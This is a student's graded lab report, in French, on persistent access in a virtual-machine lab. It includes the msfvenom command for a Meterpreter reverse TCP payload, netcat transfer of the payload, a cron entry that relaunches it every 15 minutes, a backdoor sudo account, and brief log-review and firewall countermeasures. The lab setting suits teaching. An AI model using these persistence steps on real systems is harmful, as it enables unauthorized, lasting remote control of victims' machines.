SECS1028 - Lab 3 - Accès persistant

Ce laboratoire est noté - 15 points - 10% de la note finale

Mikael Lacroix

À rendre pour lundi 3 février

Objectif du laboratoire : mettre en place différents accès persistants et leurs contre-mesures.

Mise en place du laboratoire : vous devez utiliser une VM Kali (attaque) et la VM DVWA (cible) sur le réseau interne de VirtualBox. Vous devez indiquer les adresses IP de ces deux VMs.

1 Persistance avec cron (5 points)

Avec msfvenom, créer un fichier payload contenant un reverse tcp shell meterpreter sur le port 1234. Vous mettrez en place ce payload sur la cible en utilisant une attaque sur DVWA. Le payload sera lancée par le service cron de la cible toutes les 15 minutes.

Montrez par des captures écran toutes les étapes de la création du payload et sa mise en place sur la cible, ainsi que le contenu du fichier de configuration de cron. (3 points)

Montrez par des capturesécrann la connexion réussie sur l'accès persistant que vous avez mis en place. (2 points)

```
┌──(kali㉿kali)-[~]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.8 -f elf -o reverse_tcp L
PORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: reverse_tcp

┌──(kali㉿kali)-[~]
└─$ ls
 13.248.169.48   93.184.215.14    Desktop     Downloads   Pictures   Templates   Videos          crackctf          forjohn.txt   id_rsa_kay             reverse_tcp
 76.223.54.146   ASCService.exe   Documents   Music       Public     Unknown     'code openvpn'  cve-2019-9053.py  id_rsa        php-reverse-shell.php  rockyou.txt

┌──(kali㉿kali)-[~]
└─$
```

```
ubuntu@ubuntu:~$ nc -l -p 1234 > reverse_tcp
ubuntu@ubuntu:~$ ls
reverse_tcp
ubuntu@ubuntu:~$
```

```
┌──(kali㉿kali)-[~]
└─$ nc -w 3 192.168.3.4 1234 < reverse_tcp

┌──(kali㉿kali)-[~]
└─$
```

```
ubuntu@ubuntu:~$ crontab -e
crontab: installing new crontab
ubuntu@ubuntu:~$
```

```
ubuntu@ubuntu: ~ ×   kali@kali: ~ ×
  GNU nano 7.2                        /tmp/crontab.dlUnbu/crontab
*/15 * * * * /home/ubuntu/reverse_tcp
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
```

```
msf6 payload(linux/x86/meterpreter/reverse_tcp) > exploit
[*] Payload Handler Started as Job 0
msf6 payload(linux/x86/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 192.168.3.8:1234
[*] Sending stage (1017704 bytes) to 192.168.3.4
[*] Meterpreter session 1 opened (192.168.3.8:1234 → 192.168.3.4:39244) at 2025-01-31 10:4
5:01 -0400
```

2 Persistance avec ssh (4 points)

Avec Metasploit, connectez-vous sur la cible puis créer un compte utilisateur avec les droits root (group sudo).

Montrez par des captures écran, toutes les étapes de la création du compte utilisateur. (2 points)

1

Montrez par des captures écran la connexion réussie sur le service ssh avec ce compte utilisateur. Affichez avec ce compte le fichier /etc/shadow de la cible. (2 points)

```
            NAME_REGEX in configuration.
ubuntu@ubuntu:~$ sudo adduser mikael
info: Adding user `mikael' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `mikael' (1001) ...
info: Adding new user `mikael' (1001) with group `mikael (1001)' ...
info: Creating home directory `/home/mikael' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for mikael
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
info: Adding new user `mikael' to supplemental / extra groups `users' ...
info: Adding user `mikael' to group `users' ...
ubuntu@ubuntu:~$
```

```
ubuntu@ubuntu:~$ sudo usermod -a -G sudo mikael
[sudo] password for ubuntu:
ubuntu@ubuntu:~$
```

```
Last login: Fri Jan 31 14:58:30 2025 from 192.168.3.8
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

mikael@ubuntu:~$ sudo su
[sudo] password for mikael:
root@ubuntu:/home/mikael#
```

3 Contre-mesures (6 points)

Proposez et expliquez une contre-mesure efficace contre l'accès persistant 1 ? (1 point)

-Pour le crontab ce serait une vérification des logs. En vérifiant les logs l'on peut repérer les actions automatiques qui ne sont pas supposé être là et les supprimer manuellement par la suite.

Mettez-la en place sur la VM cible et démontrez son efficacité avec des captures écran. (2 points)

```
ubuntu@ubuntu:~$ journalctl | grep cron
Jan 10 05:26:04 ubuntu systemd[1]: Started cron.service - Regular background program proces
sing daemon.
Jan 10 05:26:04 ubuntu (cron)[1059]: cron.service: Referenced but unset environment variabl
e evaluates to an empty string: EXTRA_OPTS
Jan 10 05:26:04 ubuntu cron[1059]: (CRON) INFO (pidfile fd = 3)
Jan 10 05:26:04 ubuntu cron[1059]: (CRON) INFO (Running @reboot jobs)
Jan 10 05:28:14 ubuntu systemd[1]: Stopping cron.service - Regular background program proce
ssing daemon...
Jan 10 05:28:14 ubuntu systemd[1]: cron.service: Deactivated successfully.
Jan 10 05:28:14 ubuntu systemd[1]: Stopped cron.service - Regular background program proces
sing daemon.
Jan 10 05:28:14 ubuntu systemd[1]: Started cron.service - Regular background program proces
sing daemon.
Jan 10 05:28:14 ubuntu (cron)[11560]: cron.service: Referenced but unset environment variab
le evaluates to an empty string: EXTRA_OPTS
Jan 10 05:28:14 ubuntu cron[11560]: (CRON) INFO (pidfile fd = 3)
Jan 10 05:28:14 ubuntu cron[11560]: (CRON) INFO (Skipping @reboot jobs -- not system startu
p)
Jan 10 05:35:01 ubuntu CRON[13425]: pam_unix(cron:session): session opened for user root(ui
d=0) by root(uid=0)
Jan 10 05:35:01 ubuntu CRON[13425]: pam_unix(cron:session): session closed for user root
Jan 10 05:36:52 ubuntu systemd[1]: Started cron.service - Regular background program proces
sing daemon.
Jan 10 05:36:53 ubuntu (cron)[954]: cron.service: Referenced but unset environment variable
 evaluates to an empty string: EXTRA_OPTS
Jan 10 05:36:53 ubuntu cron[954]: (CRON) INFO (pidfile fd = 3)
Jan 10 05:36:53 ubuntu cron[954]: (CRON) INFO (Running @reboot jobs)
Jan 10 05:45:01 ubuntu CRON[8037]: pam_unix(cron:session): session opened for user root(uid
=0) by root(uid=0)
Jan 10 05:45:01 ubuntu CRON[8037]: pam_unix(cron:session): session closed for user root
Jan 10 05:55:01 ubuntu CRON[8100]: pam_unix(cron:session): session opened for user root(uid
=0) by root(uid=0)
Jan 10 05:55:01 ubuntu CRON[8100]: pam_unix(cron:session): session closed for user root
Jan 10 06:05:01 ubuntu CRON[8297]: pam_unix(cron:session): session opened for user root(uid
=0) by root(uid=0)
Jan 10 06:05:01 ubuntu CRON[8297]: pam_unix(cron:session): session closed for user root
Jan 10 06:09:01 ubuntu CRON[8302]: pam_unix(cron:session): session opened for user root(uid
=0) by root(uid=0)
Jan 10 06:09:01 ubuntu CRON[8302]: pam_unix(cron:session): session closed for user root
Jan 10 06:15:01 ubuntu CRON[8536]: pam_unix(cron:session): session opened for user root(uid
=0) by root(uid=0)
Jan 10 06:15:01 ubuntu CRON[8536]: pam_unix(cron:session): session closed for user root
Jan 10 06:17:01 ubuntu CRON[8540]: pam_unix(cron:session): session opened for user root(uid
=0) by root(uid=0)
Jan 10 06:17:01 ubuntu CRON[8541]: (root) CMD (cd / && run-parts --report /etc/cron.hourly)
```

Proposez et expliquez une contre-mesure efficace contre l'accès persistant 2 ? (1 point)

-Pour le ssh il suffit d'activer le ufw sur linux. C'est un firewall qui bloque le ssh et beaucoup d'Accès à la machine.

Mettez-la en place sur la VM cible et démontrez son efficacité avec des captures écran. (2 points)

```
ubuntu@ubuntu:~$ sudo ufw enable
[sudo] password for ubuntu:
Firewall is active and enabled on system startup
ubuntu@ubuntu:~$
```

```
┌──(kali㉿kali)-[~]
└─$ ssh mikael@192.168.3.4
```